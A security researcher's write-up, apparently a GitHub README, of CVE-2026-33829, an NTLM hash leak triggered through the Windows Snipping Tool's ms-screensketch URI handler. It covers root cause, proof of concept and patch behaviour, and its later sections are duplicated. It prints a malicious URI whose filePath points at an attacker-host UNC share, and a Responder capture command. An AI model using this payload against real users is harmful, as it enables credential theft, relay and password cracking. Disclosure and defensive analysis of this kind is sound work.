rahultb-sec/CVE-2026-33829-Writeup
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# CVE-2026-33829-Writeup
Vulnerability Case Study: CVE-2026-33829 (Windows Snipping Tool NTLM Coercion)
## Executive Summary
This write-up details the technical replication of **CVE-2026-33829**, an information disclosure vulnerability within the modern Windows Snipping Tool application framework. By abusing an unvalidated input parameter within a custom URI protocol handler, a remote host can coerce an unpatched Windows machine into initiating an outbound SMB connection, results in leaking Net-NTLMv2 authentication hashes over the network.
URI scheme - (Windows uses custom protocols (like `ms-screensketch:, ms-settings: , file:`) to let web browsers talk to desktop apps.
## Root Analysis
The root cause of this vulnerability lies in the URI scheme (`ms-screensketch:edit`). When a victim **clicks** a malicious link containing (`ms-screensketch:edit?&filePath=\\ATTACKER_IP\\share\evil.png`) and **approves** the "Open Snipping Tool". The operating system invokes SnippingTool.exe and passes the malicious filePath parameter, such as (`ms-screensketch:edit?filePath=\\ATTACKER-IP\\share\evil.png`) without a proper validtaion.
As there is a `:edit?` parameter snipping tool tries to edit the file from the provided filepath (`filePath=\\ATTACKER-IP\\share\evil.png`). Which results in initiating a connection over the network using Server Message Block (SMB). Because SMB is designed to verify who is requesting the file, Windows automatically attempts to authenticate the user. It sends the currently logged-in user's Net-NTLMv2 challenge-response hash to the attacker's server. The entire process happens silently in the background without any visible warning or prompt to the user.
The attacker captures the victim’s Net-NTLMv2 challenge-response authentication data. Once an attacker possesses the victim's Net-NTLM hash, they can , Perform an NTLM relay attack to impersonate the victim and access internal network resources or authenticate to other services in the enterprise or Take the captured hash offline and use brute-force or dictionary attacks to discover the victim's actual plain-text Windows password
## Proof of Concept
To trigger the handler, a simple HTML payload was deployed to simulate a phishing or intranet-compromise vector
To capture the Hash An isolated Kali Linux instance running Responder was deployed
`sudo responder -I eth0 -v`
Upon clicking the button within the target Windows environment, the application opened the Edit context and instantly routed an SMB request to the listener host. The authentication challenge-response sequence completed seamlessly, capturing the Net-NTLMv2 hash structure for the target user context.
The NTLMSSP_NEGOTIATE packet shows the victim system initiating NTLM authentication during SMB session setup after resolving the attacker-controlled UNC path
The NTLMSSP_AUTH packet contains the Net-NTLMv2 challenge-response authentication data transmitted by the victim system after the challenge phase completed.
From that, the Attacker captures the passed NTLMv2 Hash
The captured Net-NTLMv2 challenge-response data may be leveraged in NTLM relay attacks or subjected to offline password cracking attempts depending on the target environment
## Remediation
**How did windows patched this?**
Before the patch, the Snipping Tool's Edit function took the string inside filePath and passed it straight to the file-opening APIs.
Observed patched behavior suggests Microsoft introduced validation logic preventing UNC/network-based filePath values from reaching the underlying file handling APIs. Now, when you pass a string to filePath, the application runs a sanity check before handing it over to the operating system:
It checks if the string starts with local drive markers (like C:\ or D:\) or standard safe local system variables.
If the application detects a Universal Naming Convention (UNC) prefix (like \\ or \\\\), or an external IP network pattern, the validation loop flags it as an illegal argument, throws an exception error, and terminates the file-loading process immediately.
Because the code stops before executing the Win32 file-open instructions, the Windows Kernel never gets the request, and no SMB packet is ever sent.
If we try again after following the security update, the application still invoked the ms-screensketch: handler, but remote filePath values were no longer resolved through the Edit workflow
## Post-analysis of CVE-2026-33829 demonstrates how trusted application workflows and legacy authentication behaviors can unintentionally expose credential material through outbound network interactions. While the vulnerability does not provide direct code execution, it reinforces the importance of restricting unnecessary NTLM authentication, monitoring outbound SMB traffic, and validating URI-driven resource handling within Windows environments.
Disclaimer: This write-up is compiled strictly for educational, defensive research, and lab validation purposes. All testing was performed within an entirely isolated sandbox environment.
To capture the Hash An isolated Kali Linux instance running Responder was deployed
`sudo responder -I eth0 -v`
Upon clicking the button within the target Windows environment, the application opened the Edit context and instantly routed an SMB request to the listener host. The authentication challenge-response sequence completed seamlessly, capturing the Net-NTLMv2 hash structure for the target user context.
The NTLMSSP_NEGOTIATE packet shows the victim system initiating NTLM authentication during SMB session setup after resolving the attacker-controlled UNC path
The NTLMSSP_AUTH packet contains the Net-NTLMv2 challenge-response authentication data transmitted by the victim system after the challenge phase completed.
From that, the Attacker captures the passed NTLMv2 Hash
The captured Net-NTLMv2 challenge-response data may be leveraged in NTLM relay attacks or subjected to offline password cracking attempts depending on the target environment
## Remediation
**How did windows patched this?**
Before the patch, the Snipping Tool's Edit function took the string inside filePath and passed it straight to the file-opening APIs.
Observed patched behavior suggests Microsoft introduced validation logic preventing UNC/network-based filePath values from reaching the underlying file handling APIs. Now, when you pass a string to filePath, the application runs a sanity check before handing it over to the operating system:
It checks if the string starts with local drive markers (like C:\ or D:\) or standard safe local system variables.
If the application detects a Universal Naming Convention (UNC) prefix (like \\ or \\\\), or an external IP network pattern, the validation loop flags it as an illegal argument, throws an exception error, and terminates the file-loading process immediately.
Because the code stops before executing the Win32 file-open instructions, the Windows Kernel never gets the request, and no SMB packet is ever sent.
If we try again after following the security update, the application still invoked the ms-screensketch: handler, but remote filePath values were no longer resolved through the Edit workflow
## Post-analysis of CVE-2026-33829 demonstrates how trusted application workflows and legacy authentication behaviors can unintentionally expose credential material through outbound network interactions. While the vulnerability does not provide direct code execution, it reinforces the importance of restricting unnecessary NTLM authentication, monitoring outbound SMB traffic, and validating URI-driven resource handling within Windows environments.
Disclaimer: This write-up is compiled strictly for educational, defensive research, and lab validation purposes. All testing was performed within an entirely isolated sandbox environment.